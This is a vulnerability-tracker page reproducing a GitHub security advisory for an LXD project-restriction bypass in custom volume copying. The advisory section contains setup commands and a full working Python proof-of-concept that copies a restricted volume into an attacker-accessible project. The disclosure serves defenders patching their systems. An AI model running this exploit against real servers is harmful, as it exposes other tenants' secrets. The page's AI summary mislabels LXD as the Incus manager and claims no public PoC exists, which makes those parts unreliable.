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Advisory · GitHub · Go · github.com/canonical/lxd

GHSA-7MR3-28H5-M5VX

LXD has project restriction bypass for custom volume copy across projects

An attacker who knows project and volume names can copy a restricted volume and read its secrets on the same server.

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CVSS
—
high
Fuente: —
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche1 versióncommit c5184be
Exposición13 dDesde la divulgación, 6 nov 2026, 2:51 p. m.
Detección20 minDesde la divulgación hasta su ingreso al índice
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada +1
Explotación
Remediación
Monitoreo
Detectada
Verificada
6 nov 26
16 nov 26
20 nov 26
6 nov 26
10 nov 26
13 nov 26
17 nov 26
20 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-7MR3-28H5-M5VX divulgada
Divulgación Modificada Última actualización del registro
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Resumen generado por IA · CC-BY 4.0 · 6 nov 2026

LXD (the Incus container and VM manager) has a flaw in how custom storage volumes are copied between projects, where a caller can copy a volume from a project they lack access to into a project they can use. An attacker who knows the project and volume names could use this to reach secrets stored in those volumes, though the copy must happen on the same server.

Descripción del advisory
Texto original · GitHub · en inglés

Reported from https://github.com/lxc/incus/security/advisories/GHSA-64f3-v33m-w89f

Summary

Missing authorization checks exist for custom volume copying where an attacker knowing the name of a project that they don't have access to and the name of a custom volume in that project can copy the custom volume to a new project. This issue could allow an attacker to access secrets in custom volumes they are not authorized to access.

Details

The storage volume creation handler authorizes creation in the target project, then passes `req.Source.Project` into the custom-volume copy path without checking that the caller can view the source volume. `req.Source.Project` is the attacker-controlled field. It is resolved to a storage volume project name and passed directly to `CreateCustomVolumeFromCopy`. No `allowPermission` or entitlement check (e.g. `CanView` on the source volume) is performed.

From my understanding, the copy must occur on the same server. However, once the copy has been done, nothing prevents a malicious actor from moving the volume to another server.

### PoC
#### Setup

We assume the target server is remotely accessible and a user/certificate has been added.

# create a new project and instance
incus project create secrets
incus profile show default | incus --project secrets edit default
incus --project secrets storage volume create default secret-vol

# restrict an existing certificate to prevent access to the project
incus config trust edit cert-fp
#> set, for example
restricted: true
projects:
  - default

# verification, with the restricted certificate
incus --project secrets storage volume ls remote:default
Exploitation

The below script was partly generated. To copy the secret instance to the default project, the following command can be used.

python3 poc.py --url https://IP-REMOTE:8443 \
    --cert path/to/client.crt --key path/to/client.key \
    --target-project default --source-project secrets \
    --source-volume secret-vol --name copy-secret-vol \
    --pool default --source-pool default \
    --insecure

Wait a bit for the custom volume to be copied, then `incus storage volume ls remote:default` to see the copied instance.

#!/usr/bin/env python3
"""Copy a custom storage volume from another project into an allowed project."""

from __future__ import annotations

import argparse
import json
import ssl
import sys
import urllib.error
import urllib.parse
import urllib.request


def post(url: str, path: str, body: dict, cert: str, key: str, insecure: bool) -> bytes:
    ctx = ssl.create_default_context()
    if insecure:
        ctx.check_hostname = False
        ctx.verify_mode = ssl.CERT_NONE
    ctx.load_cert_chain(cert, key)
    req = urllib.request.Request(
        url.rstrip("/") + path,
        data=json.dumps(body).encode(),
        method="POST",
        headers={"Content-Type": "application/json", "Accept": "application/json"},
    )
    try:
        with urllib.request.urlopen(req, context=ctx) as resp:
            return resp.read()
    except urllib.error.HTTPError as exc:
        sys.stderr.write(exc.read().decode(errors="replace") + "\n")
        raise


def main() -> int:
    ap = argparse.ArgumentParser()
    ap.add_argument("--url", required=True)
    ap.add_argument("--cert", required=True)
    ap.add_argument("--key", required=True)
    ap.add_argument("--pool", required=True)
    ap.add_argument("--target-project", required=True)
    ap.add_argument("--source-project", required=True)
    ap.add_argument("--source-volume", required=True)
    ap.add_argument("--source-pool")
    ap.add_argument("--name", required=True, help="new volume name in target project")
    ap.add_argument("--content-type", default="filesystem", choices=["filesystem", "block"])
    ap.add_argument("--volume-only", action="store_true")
    ap.add_argument("--insecure", action="store_true")
    ap.add_argument("--dry-run", action="store_true")
    args = ap.parse_args()

    source = {
        "type": "copy",
        "name": args.source_volume,
        "project": args.source_project,
        "volume_only": args.volume_only,
    }
    if args.source_pool:
        source["pool"] = args.source_pool

    body = {
        "name": args.name,
        "type": "custom",
        "content_type": args.content_type,
        "source": source,
    }
    path = "/1.0/storage-pools/{}/volumes/custom?{}".format(
        urllib.parse.quote(args.pool, safe=""),
        urllib.parse.urlencode({"project": args.target_project}),
    )
    print(json.dumps(body, indent=2))
    if args.dry_run:
        return 0
    print(post(args.url, path, body, args.cert, args.key, args.insecure).decode(errors="replace"))
    return 0


if __name__ == "__main__":
    raise SystemExit(main())
Impact

An attacker can copy instances they don't normally have access to, possibly leading to information disclosure.

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Versiones

Rangos afectados

Afectada Corregida
github.com/canonical/lxd< 0.0.0-20260630083100-c5184be310b1
0.0.0-20260630083100-c5184be310b1
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
Gogithub.com/canonical/lxd
Corregida commit c5184be — —
Versiones corregidascommit c5184be
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://nvd.nist.gov/vuln/detail/CVE-2026-55621
Otrahttps://github.com/canonical/lxd/security/advisories/GHSA-7mr3-28h5-m5vx
Otrahttps://github.com/lxc/incus/security/advisories/GHSA-64f3-v33m-w89f
Otrahttps://github.com/canonical/lxd/commit/8a4ed50ae855639d76021ba4bf26a50d7f2288fd
Otrahttps://github.com/canonical/lxd/commit/e2635a26957737ec4a77dc28dd7b84bd380881d6
Otrahttps://github.com/canonical/lxd/commit/eec1cf9504c18ad7c3c36ae0b62d21c05c25702c
Otrahttps://github.com/canonical/lxd
Otrahttps://github.com/canonical/lxd/releases/tag/lxd-5.0.7
Otrahttps://github.com/canonical/lxd/releases/tag/lxd-5.21.5
Otrahttps://github.com/canonical/lxd/releases/tag/lxd-6.8

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